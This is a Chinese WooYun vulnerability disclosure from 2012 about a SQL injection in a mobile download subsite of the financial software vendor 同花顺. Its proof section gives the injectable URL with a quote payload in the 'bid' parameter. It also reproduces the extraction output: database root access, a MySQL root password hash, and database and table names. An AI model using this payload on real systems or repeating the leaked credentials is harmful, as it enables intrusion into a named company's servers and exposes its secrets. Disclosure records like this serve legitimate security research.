当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07351

漏洞标题:同花顺某分站注入漏洞

相关厂商:同花顺

漏洞作者: insight-labs

提交时间:2012-05-20 13:49

修复时间:2012-05-25 13:50

公开时间:2012-05-25 13:50

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-20: 细节已通知厂商并且等待厂商处理中
2012-05-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

注入
db权限:root
getshell

详细说明:

db权限:root
possibile to getshell

漏洞证明:

http://mobile.10jqka.com.cn/main/dlquery_s.php?bid=%274229&bname=%CD%A8%D3%C3%C7%F8&seid=1329&sename=Android&mid=61&mname=Gpad&tyid=2705
DB Server: MySQL error based
Resp. Time(avg): 2490 ms
Current User: [email protected]
Sql Version: 5.0.95
Current DB: wap3g_dl
System User: [email protected]
Host Name: wapyd
Installation dir: /usr/
DB User & Pass: root::127.0.0.1
::localhost
::localhost.localdomain
root:07846796735f00a7:localhost
Data Bases: information_schema
ahuni_dl
asv
ceshi
ceshi_dl
ceshi_fj
data_web
wap3g_dl
Table Name
recordDl_20110601
recordDl_20110531
recordDl_20110530
recordDl_20110529
recordDl_20110528
recordDl_20110527
recordDl_20110526
recordDl_20110525
recordDl_20110524
recordDl_20110523
recordDl
keyword
example_stat
dl_version
dl_verintro
dl_tyrj
dl_sp
dl_soft
dl_series
dl_plateform
dl_new_model
dl_model
dl_config
dl_brand
check_ver
account

修复方案:

输入点需要过滤

版权声明:转载请注明来源 insight-labs@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-05-25 13:50

厂商回复:

漏洞Rank:7 (WooYun评价)

最新状态:

2012-06-11:已修复。